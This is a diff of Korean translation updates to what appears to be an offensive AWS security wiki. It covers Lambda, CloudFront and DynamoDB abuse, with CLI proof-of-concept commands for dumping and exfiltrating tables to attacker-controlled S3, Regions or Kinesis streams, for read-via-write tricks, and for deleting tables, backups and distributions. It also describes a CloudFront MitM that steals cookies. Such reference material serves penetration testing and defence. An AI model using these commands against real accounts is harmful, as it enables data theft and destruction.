lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, lambda:GetRuntimeManagementConfig 권한을 가진 공격자는 함수의 runtime management configuration을 수정할 수 있습니다. 이 공격은 특히 Lambda 함수를 취약한 런타임 버전에 고정하거나 최신 런타임과 호환되지 않을 수 있는 악성 레이어와의 호환성을 유지하려는 경우에 효과적입니다.
|
||||
`lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig` 권한을 가진 공격자는 함수의 런타임 관리 구성을 수정할 수 있습니다. 이 공격은 Lambda 함수를 취약한 런타임 버전에 고정해 두거나 최신 런타임과 호환되지 않을 수 있는 악성 layer와의 호환성을 유지하려는 경우에 특히 효과적입니다.
|
||||
|
||||
공격자는 runtime management configuration을 수정하여 런타임 버전을 고정합니다:
|
||||
공격자는 런타임 관리 구성을 수정해 런타임 버전을 고정합니다:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
@@ -107,7 +107,7 @@ aws lambda put-runtime-management-config \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
적용된 구성을 확인하세요:
|
||||
적용된 구성 확인:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
cloudfront:Delete* 권한이 부여된 공격자는 distributions, policies 및 기타 중요한 CDN 구성 객체를 삭제할 수 있습니다 — 예를 들어 distributions, cache/origin policies, key groups, origin access identities, functions/configs 및 관련 리소스 등이 있습니다. 이는 서비스 중단, 콘텐츠 손실 및 구성 또는 포렌식 아티팩트의 삭제를 초래할 수 있습니다.
|
||||
cloudfront:Delete* 권한이 부여된 attacker는 distributions, policies 및 기타 중요한 CDN 구성 객체 — 예를 들어 distributions, cache/origin policies, key groups, origin access identities, functions/configs 및 관련 리소스 — 를 삭제할 수 있습니다. 이는 서비스 중단, 콘텐츠 손실 및 구성이나 포렌식 아티팩트의 삭제를 초래할 수 있습니다.
|
||||
|
||||
To delete a distribution an attacker could use:
|
||||
```bash
|
||||
@@ -21,19 +21,19 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)에서는 **Lambda**를 **CloudFront**를 통한 통신에 추가(또는 이미 사용 중이면 수정)하여 세션 **cookie**와 같은 사용자 정보를 **stealing**하고 응답(**response**)을 **modifying**(악성 JS 스크립트 주입)하는 목적의 몇 가지 시나리오를 제시합니다.
|
||||
|
||||
#### 시나리오 1: MitM — CloudFront가 bucket의 일부 HTML에 접근하도록 구성된 경우
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Create** 악성 **function**을 생성합니다.
|
||||
- **Associate** 이를 CloudFront 배포와 연결합니다.
|
||||
- **event type**을 "Viewer Response"로 설정합니다.
|
||||
- **Create** 악성 **function**.
|
||||
- **Associate** 그것을 CloudFront distribution에 연결합니다.
|
||||
- **event type to "Viewer Response"**로 설정합니다.
|
||||
|
||||
응답에 접근하면 사용자의 cookie를 훔치고 악성 JS를 주입할 수 있습니다.
|
||||
response에 접근하면 사용자 cookie를 탈취하고 악성 JS를 주입할 수 있습니다.
|
||||
|
||||
#### 시나리오 2: MitM — CloudFront가 이미 lambda function을 사용 중인 경우
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modify the code**하여 lambda function의 동작을 변경해 민감한 정보를 탈취할 수 있습니다
|
||||
- lambda function의 코드를 **Modify the code**하여 민감한 정보를 탈취합니다
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
이 권한을 가진 공격자는 **기본 키로 테이블의 항목을 가져올 수 있습니다**(테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알고 있어야 합니다(테이블 메타데이터(`describe-table`)를 통해 확인할 수 있습니다).
|
||||
이 권한을 가진 attacker는 **get items from tables by the primary key** 할 수 있습니다 (테이블의 모든 데이터를 한꺼번에 요청할 수는 없습니다). 즉, primary keys를 알고 있어야 합니다(이를 얻으려면 table metadata를 가져오면 됩니다 (`describe-table`)).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
|
||||
**Potential Impact:** 간접적인 privesc — 테이블에서 민감한 정보를 찾아 권한 상승으로 이어질 수 있음
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**이전 권한과 유사하게** 이 권한은 공격자가 검색하려는 항목의 기본 키를 알고 있을 경우, 단 하나의 테이블에서 값을 읽을 수 있게 한다:
|
||||
**Similar to the previous permissions** 이 권한은 공격자가 조회할 항목의 기본 키를 알고 있으면 단 한 개의 테이블에서 값을 읽을 수 있게 해준다:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
이 권한으로 **`transact-get-items`** 메서드를 다음과 같이 사용할 수도 있습니다:
|
||||
이 권한이 있으면 **`transact-get-items`** 메서드를 다음과 같이 사용할 수도 있습니다:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아내어 발생하는 간접적인 privesc
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**이전 권한들과 유사하게** 이 권한은 잠재적 공격자가 특정 항목의 기본 키를 알고 있을 경우 단 하나의 테이블에서 값을 읽도록 허용합니다. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을(를) 사용할 수 있지만, 기본 키(반드시 포함되어야 함)에 대해 허용되는 비교는 "EQ"뿐이므로 하나의 요청으로 데이터베이스 전체를 가져올 수는 없습니다.
|
||||
**이전 권한과 유사하게** 이 권한은 잠재적 공격자가 가져올 항목의 primary key를 알고 있을 경우 단 하나의 테이블에서 값들을 읽을 수 있게 해준다. 일부 비교([subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html))를 사용할 수 있지만, 반드시 포함되어야 하는 primary key에 대해 허용되는 비교는 "EQ"뿐이므로 단일 요청으로 데이터베이스 전체를 가져오기 위해 비교 연산을 사용할 수 없다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 테이블에 저장된 민감한 정보를 찾아 간접적인 privesc
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
이 권한을 사용하면 **전체 테이블을 손쉽게 dump할 수 있습니다**.
|
||||
이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있습니다
|
||||
**잠재적 영향:** 간접 privesc — 테이블에서 민감한 정보를 찾아 권한 상승을 유도할 수 있음
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
이 권한을 사용하면 **테이블 전체를 쉽게 dump**할 수 있습니다.
|
||||
이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
이 권한으로 `batch-execute-statement`와 같은 작업도 수행할 수 있습니다:
|
||||
이 권한은 또한 다음과 같이 `batch-execute-statement`를 수행할 수 있습니다:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
하지만 기본 키(primary key)에 값을 지정해야 하므로, 그다지 유용하지 않습니다.
|
||||
그러나 기본 키에 값을 지정해야 하기 때문에 그다지 유용하지 않습니다.
|
||||
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 Indirect privesc
|
||||
**잠재적 영향:** Indirect privesc — 테이블에서 민감한 정보를 찾아 권한 상승으로 이어질 수 있음
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
이 권한은 공격자가 **테이블 전체를 자신이 선택한 S3 bucket으로 내보낼 수** 있게 합니다:
|
||||
이 권한은 공격자가 **전체 테이블을 자신의 선택한 S3 버킷으로 내보낼 수 있도록 허용합니다**:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
이 작업이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 설정이 있는지 확인하려면 다음을 사용하세요:
|
||||
이 작업을 수행하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 기능이 활성화되어 있는지 확인하려면 다음을 사용하세요:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
활성화되어 있지 않다면, **활성화해야 하며** 이를 위해 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
|
||||
활성화되어 있지 않다면 **활성화해야 하며**, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 초래할 수 있음
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 Indirect privesc 발생 가능
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성할 수 있습니다** (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음, 필요한 권한이 있으면 공격자는 백업에서 **정보**를 확인할 수 있으며, 이는 **더 이상 운영 테이블에 존재하지 않는** 정보일 수 있습니다.
|
||||
이 권한들이 있으면 공격자는 **백업에서 새 테이블을 생성할 수 있습니다** (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음 필요한 권한을 갖추면, 공격자는 백업에서 **정보**를 확인할 수 있으며, 이는 **프로덕션 테이블에 더 이상 존재하지 않을 수 있는** 정보일 수 있습니다.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 Indirect privesc
|
||||
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접 privesc가 발생할 수 있음
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 대체**할 수 있게 합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, 해당 항목은 **전체 항목이 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다.
|
||||
이 권한은 사용자가 테이블에 **새 항목을 추가하거나 기존 항목을 새 항목으로 대체**할 수 있게 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, **전체 항목이 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/bypasses를 악용할 수 있음
|
||||
**Potential Impact:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회가 악용될 수 있음
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가**할 수 있도록 허용합니다. 이 작업은 항목 전체를 **대체하지 않습니다**; 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
|
||||
이 권한은 사용자에게 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 이 작업은 항목 전체를 **교체하지 않으며**, 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않으면, 해당 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성들을 설정합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,34 +242,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** DynamoDB 테이블의 데이터를 추가/수정할 수 있게 되면 추가 취약점/bypasses가 악용될 수 있음
|
||||
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 vulnerabilities/bypasses가 악용될 수 있음
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
해당 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**.
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: 데이터 손실 및 삭제된 테이블에 의존하는 서비스의 중단.
|
||||
**잠재적 영향**: 삭제된 테이블에 의존하는 서비스의 데이터 손실 및 중단.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 상황에서 데이터 손실을 초래할 수 있습니다**.
|
||||
이 권한을 가진 attacker는 **delete a DynamoDB backup, 재해 복구 시나리오에서 잠재적으로 데이터 손실을 초래할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없는 데이터 손실.
|
||||
**잠재적 영향**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없게 되어 데이터 손실.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 실제로 작동하는지 테스트 필요
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경 사항의 streaming을 시작한 후 해당 stream에 접근하여 테이블 변경을 실시간으로 모니터링할 수 있습니다**. 이렇게 공격자는 데이터 변경을 모니터링하고 exfiltrate할 수 있어, 잠재적으로 data leakage로 이어질 수 있습니다.
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 뒤, stream에 접근해 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경사항을 모니터링하고 exfiltrate할 수 있으며, 이는 잠재적으로 데이터 누출로 이어질 수 있습니다.
|
||||
|
||||
1. DynamoDB 테이블에서 stream을 활성화:
|
||||
```bash
|
||||
@@ -278,7 +278,7 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ARN 및 기타 세부 정보를 얻기 위해 스트림을 설명합니다:
|
||||
2. ARN 및 기타 세부 정보를 얻기 위한 스트림을 설명하세요:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. shard iterator를 사용하여 stream에서 데이터를 접근하고 exfiltrate하세요:
|
||||
4. shard iterator를 사용하여 stream에서 데이터를 접근하고 exfiltrate합니다:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: DynamoDB 테이블 변경사항의 실시간 모니터링 및 data leakage.
|
||||
**잠재적 영향**: DynamoDB 테이블 변경의 실시간 모니터링 및 데이터 유출.
|
||||
|
||||
### `dynamodb:UpdateItem` 및 `ReturnValues=ALL_OLD`로 항목 읽기
|
||||
### `dynamodb:UpdateItem`와 `ReturnValues=ALL_OLD`를 통한 항목 읽기
|
||||
|
||||
테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 업데이트 이전의 항목 전체 이미지를 반환합니다(이는 RCUs를 소비하지 않습니다).
|
||||
테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이 작업은 RCUs를 소비하지 않습니다).
|
||||
|
||||
- 최소 권한: 대상 테이블/키에 대한 `dynamodb:UpdateItem`.
|
||||
- 전제 조건: 항목의 primary key를 알고 있어야 합니다.
|
||||
- 전제 조건: 항목의 기본 키를 알고 있어야 합니다.
|
||||
|
||||
예시 (무해한 attribute를 추가하고 응답에서 이전 항목을 exfiltrates):
|
||||
Example (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
The CLI 응답에는 이전 항목 전체(모든 attributes)를 포함하는 `Attributes` 블록이 포함되어, 사실상 write-only 접근으로부터 read primitive를 제공한다.
|
||||
CLI 응답에는 전체 이전 항목(모든 속성)을 포함하는 `Attributes` 블록이 포함되어, 쓰기 전용 접근에서 사실상 읽기 프리미티브를 제공합니다.
|
||||
|
||||
**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있으며, primary keys가 알려진 경우 민감한 데이터 exfiltration이 가능하다.
|
||||
**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있어, primary keys(기본 키)를 알 경우 민감한 데이터 exfiltration이 가능해집니다.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
DynamoDB Global Table (version 2019.11.21)에 새 replica Region을 추가하여 은밀하게 exfiltration을 수행할 수 있다. Principal이 regional replica를 추가할 수 있다면, 테이블 전체가 공격자가 선택한 Region으로 복제되고, 공격자는 그 Region에서 모든 항목을 읽을 수 있다.
|
||||
DynamoDB Global Table (version 2019.11.21)에 새로운 replica Region을 추가하여 은밀한 exfiltration을 수행할 수 있습니다. 주체(principal)가 regional replica를 추가할 수 있다면, 테이블 전체가 공격자가 선택한 Region으로 복제되며 공격자는 해당 Region에서 모든 항목을 읽을 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK가 사용되는 경우 해당 키에 대한 KMS 권한이 필요할 수 있음.
|
||||
권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에서 CMK를 사용하는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다.
|
||||
|
||||
잠재적 영향: 전체 테이블이 attacker가 제어하는 Region으로 복제되어 은밀한 data exfiltration이 발생할 수 있음.
|
||||
잠재적 영향: 공격자 제어 Region으로의 전체 테이블 복제로 인해 은밀한 데이터 exfiltration로 이어질 수 있습니다.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (조건 실패를 통한 읽기 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
트랜잭션 쓰기 권한을 가진 attacker는 `TransactWriteItems` 내에서 `Update`를 수행하면서 `ConditionExpression`이 고의로 실패하도록 설정하고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 지정하면 기존 항목의 전체 속성을 exfiltrate할 수 있음. 실패 시 DynamoDB는 transaction cancellation reasons에 이전 속성을 포함하므로, 특정 키에 대한 write-only access를 사실상 read access로 전환시킨다.
|
||||
트랜잭션 쓰기 권한을 가진 공격자는 `TransactWriteItems` 내부에서 `Update`를 수행하되 의도적으로 `ConditionExpression`을 실패시키고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 exfiltrate할 수 있습니다. 실패 시, DynamoDB는 이전 속성을 트랜잭션 취소 이유에 포함시키며, 이는 대상 키에 대한 쓰기 전용 접근을 사실상 읽기 접근으로 전환합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -411,16 +411,16 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
권한: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 읽기 권한은 필요하지 않습니다.
|
||||
|
||||
잠재적 영향: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블에서 기본 키로 임의 항목을 읽을 수 있습니다.
|
||||
잠재적 영향: 반환된 cancellation reasons를 통해 트랜잭션 쓰기 권한만으로 테이블에서 기본 키로 임의의 항목을 읽을 수 있습니다.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI에서
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
낮은 엔트로피 속성에 `ProjectionType=ALL`인 Global Secondary Index (GSI)를 생성하고, 해당 속성을 항목 전반에 걸쳐 상수 값으로 설정한 다음, 인덱스를 `Query`하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있습니다. 이 방법은 기본 테이블에 대한 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 작동합니다.
|
||||
낮은 엔트로피 속성에 `ProjectionType=ALL`인 Global Secondary Index (GSI)를 생성하고, 해당 속성의 값을 모든 항목에 대해 상수로 설정한 다음 인덱스를 `Query`하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있습니다. 기본 테이블에 대해 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 이 방법은 작동합니다.
|
||||
|
||||
- 최소 권한:
|
||||
- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`으로 생성하기 위해).
|
||||
- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱스된 속성을 설정하기 위해).
|
||||
- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`로 생성하기 위해).
|
||||
- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱싱된 속성을 설정하기 위해).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
단계 (PoC in us-east-1):
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**잠재적 영향:** 새로 생성된 GSI를 쿼리하여 모든 attributes를 프로젝션하면 전체 테이블 exfiltration이 가능하며, 기본 테이블 읽기 API가 거부된 경우에도 적용됩니다.
|
||||
**Potential Impact:** 기본 테이블의 읽기 API가 거부된 경우에도, 모든 속성을 투영하는 새로 생성된 GSI를 쿼리하여 전체 테이블 데이터를 유출할 수 있음.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams를 통한 지속적 데이터 유출)
|
||||
|
||||
DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 지속적으로 attacker-controlled Kinesis Data Stream으로 exfiltrate합니다. 활성화되면 INSERT/MODIFY/REMOVE 이벤트가 거의 실시간으로 스트림으로 전달되며 테이블에 대한 읽기 권한이 필요하지 않습니다.
|
||||
DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경사항을 공격자가 제어하는 Kinesis Data Stream으로 지속적으로 유출할 수 있음. 일단 활성화되면, 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블의 읽기 권한 없이 거의 실시간으로 스트림으로 전달됨.
|
||||
|
||||
최소 권한 (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` 대상 테이블에 대해
|
||||
- 선택적으로 상태 모니터링용 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
|
||||
- 레코드를 소비하기 위한 attacker-owned Kinesis stream에 대한 읽기 권한: `kinesis:*`
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
dynamodb:UpdateTimeToLive 권한을 가진 공격자는 테이블의 TTL (time-to-live) 설정을 변경할 수 있습니다 — TTL을 활성화하거나 비활성화할 수 있습니다. TTL이 활성화되면, 구성된 TTL 속성을 포함하는 각 항목은 만료 시간이 되면 자동으로 삭제됩니다. TTL 값은 각 항목의 또 다른 속성일 뿐이며, 해당 속성이 없는 항목은 TTL 기반 삭제의 영향을 받지 않습니다.
|
||||
dynamodb:UpdateTimeToLive 권한을 가진 공격자는 테이블의 TTL (time-to-live) 구성을 변경할 수 있습니다 — TTL을 활성화하거나 비활성화할 수 있습니다. TTL이 활성화되면, 설정한 TTL 속성을 포함한 개별 항목은 만료 시간이 되면 자동으로 삭제됩니다. TTL 값은 각 항목의 또 다른 속성일 뿐이며, 해당 속성이 없는 항목은 TTL 기반 삭제의 영향을 받지 않습니다.
|
||||
|
||||
항목에 TTL 속성이 이미 포함되어 있지 않다면, 공격자는 TTL 속성을 추가하고 대량 삭제를 유발하기 위해 항목을 업데이트할 수 있는 권한(예: dynamodb:UpdateItem)도 필요합니다.
|
||||
